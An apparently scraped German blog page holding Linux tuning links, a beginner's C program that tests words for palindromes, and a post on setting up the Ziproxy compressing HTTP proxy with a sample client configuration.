https://wiki.archlinux.org/index.php/Maximizing_Performance

http://sidux.com/index.php?module=Wikula&tag=SiduxTweaks

http://wiki.ubuntuusers.de/tuning

C-Programm – Palindrom

Dieses Programm teilt einen String in Wörter auf (strtok), anschließend wird jeweils geprüft ob diese von vorn und von hinten gelesen gleich bleiben und somit Palindrome sind.

#include <stdio.h>
#include <string.h>
#define LENGTH 150

// Testdatensatz:  "Ha/n/nah", "La-ger-regal", "O%t/to", "(Reit-)tier", "Reliefpfeiler", "Ren--tner", "R!o!t)or", "st--ets", "nein", "Hall67o" und "Lastwa$gen"

// Funktion: lengthOfString - die laenge von dem gegebenen String herausfinden
int lengthOfString(char wort[]) {
	int i = 0;
// solang das Ende (\0) nicht erreicht ist, wird der Wert i um 1 erhöht 
	while (wort[i] != '\0') {
        i++;
    }
    return i;
}

// Funktion: isPalindrom - prueft, ob der angegebe String ein Palindrom (lal, otto, lagerregal ...) ist
int isPalindrom(char wort[]) {
    int i;
    int length = lengthOfString(wort);

	for (i=0; wort[i] != '\0'; i++) {
	// for (i = 0; i <= (length-1); i++) { // Alternativ, solange keine Zeichen aus der Zeichenkette entfernt werden :-)
// vergleiche ersten und letzten, zweiten und vorletzten ... 
        if (wort[i] != wort[((length-1)-i)]) {
			return 0;
        }
    }
    return 1;
}

// Funktion: toLower - aus GROß wird klein -> ASCII-Tabelle anschauen ;-)
// Alternative-Funktion: tolower + ctype.h
int toLower(char wort[]) {
	int i;

	for (i=0; wort[i] != '\0'; i++) {
		if (wort[i] <= 90 && wort[i] >= 65) {
			wort[i] = wort[i]+32;
		}
	}
}

// Funktion: cleanString - entfernt '"' und ',' 
int cleanString(char wort[]) {
	int i,j;

	for (i=0, j=0; wort[i] != '\0'; i++) {
			if (wort[i] != 34 && wort[i] != 44) {
				wort[j++] = wort[i];
			}
		}
	wort[j]='\0';
}

// Funktion: removeNonLetters - entfernt Sonderzeichen aus einem String
int removeNonLetters(char wort[]) {
	int i,j;
	int alphabet_small_num = 97;
	int alphabet_big_num = 65;

	for (i=0, j=0; wort[i] != '\0'; i++) {
		while (alphabet_small_num <= 122) {
			if (wort[i] == alphabet_small_num) {
				wort[j++] = wort[i];
			}
			alphabet_small_num++;
		}
		while (alphabet_big_num <= 90) {
			if (wort[i] == alphabet_big_num) {
				wort[j++] = wort[i];
			}
			alphabet_big_num++;
		}
		alphabet_small_num = 97;
		alphabet_big_num = 65;
	}
	wort[j]='\0';
}

/*
// Alternative-Funktion: removeNonLetters + ctype.h - entfernt Sonderzeichen aus einem String
int removeNonLetters(char wort[]) {
	int i,j;

	for (i=0, j=0; wort[i] != '\0'; i++) {
		if (isalpha(wort[i])) {
			wort[j++] = wort[i];
		}
	}
	wort[j]='\0';
}
*/

// main - Hauptprogramm
int main(void) {
    char zeichenkette[LENGTH];
	char trennzeichen[] = " ";
	char *wort;

    printf("Bitte eine Zeichenkette eingeben: \n");
    fgets(zeichenkette, sizeof(zeichenkette), stdin);

	wort = strtok(zeichenkette, trennzeichen);
	while(wort != NULL) {

		cleanString(wort);

		printf("\n\nOriginal: %s\n", wort);
		if (isPalindrom(wort)) {
        	printf("Palindrom: %s\n", wort);
    	}
    	else {
        	 printf("kein Palindrom: %s\n", wort);
		}

		removeNonLetters(wort);
		printf("nach removeNonLetters: %s\n", wort);
    	if (isPalindrom(wort)) {
        	printf("Palindrom: %s\n", wort);
    	}
    	else {
        	 printf("kein Palindrom: %s \n", wort);
		}

		toLower(wort);
		printf("nach toLower: %s\n", wort);
    	if (isPalindrom(wort)) {
        	printf("Palindrom: %s \n", wort);
    	}
    	else {
    		printf("kein Palindrom: %s \n", wort);
		}
		printf("***********************************\n");

   		wort = strtok(NULL, trennzeichen); 
    }

    return 0;
}

weitere hilfreiche Tipps findest du unter: de.wikibooks.org

Ziproxy – HTTP-Traffic Kompression

Ziproxy ist ein nicht HTTP-Proxy Server, welcher Daten nicht zwischenspeichert, diese jedoch komprimiert und weiterleitet. Die meiste Bandbreite wird eingespart, indem Bilder neu-konvertiert werden und andere Daten per gzip komprimiert werden.

Ziproxy benötige keine Client-Software, solange der Browser die gzip-Daten korrekt dekomprimieren kann und auch mit JPEG 2000 Bildern umgehen kann. Der Proxy kann auf unterschiedliche Arten konfiguriert werden, ich hatte bereits vor langer Zeit über Ziproxy berichtet (Mein Proxy-Server) und da ich darauf aufmerksam gemacht wurde, dass die gezeigte Konfiguration in der neuen Version nicht mehr funktioniert, ich jedoch den gezeigten Proxy-Aufbau nicht mehr im Einsatz habe, wollte ich in diesem Blog-Post zumindest die beiden Grundkonfigurationen zeigen. (ggf. wäre ein solcher Proxy auch für Smartphones hilfreich)


1.) Ziproxy als Remote-Proxy

Als erstes die einfachste Variante, hier verbindet sich der Ziproxy über eine schnelle Verbindung (extern) mit dem HTTP-Servern und schickt die Daten über eine langsame Verbindung weiter.


Konfiguration: ziproxy.conf (mit ein paar Kommentaren)




Ziproxy-Standard
Ziproxy-Standard





2.) Ziproxy als Remote-Proxy + Local-Proxy

Die Konfiguration des Remote-Proxys unterscheidet sich im Grunde nicht von der ersten Variante, auch hier wird keine Client-Software benötigt, da ein zweiter lokaler Ziproxy sozusagen als Client fungiert, dies hat den Vorteil:

  • der Browser muss nicht “JPEG 2000” unterstützen
  • der Client (z.B. Squid) muss nicht “gzip” unterstützen
  • CPU-Last wird auf einen Server verlagert (ggf. wenn der Browser durch “JPEG 2000”-Bilder hohe CPU-Last erzeugt)

Konfiguration: Ziproxy-Client

Port = 8080
Address = "127.0.0.1"
NextProxy="81.169.188.94"
NextPort=3128
ImageQuality = {85,85,85,85}
JP2ImageQuality = {85,85,85,85}
MaxUncompressedGzipRatio = 4000
MinUncompressedGzipStreamEval = 250000
MaxSize = 2097152
Gzip = true
DecompressIncomingGzipData = true




Ziproxy_Dual
Ziproxy_Dual




Link: ziproxy.sourceforge.net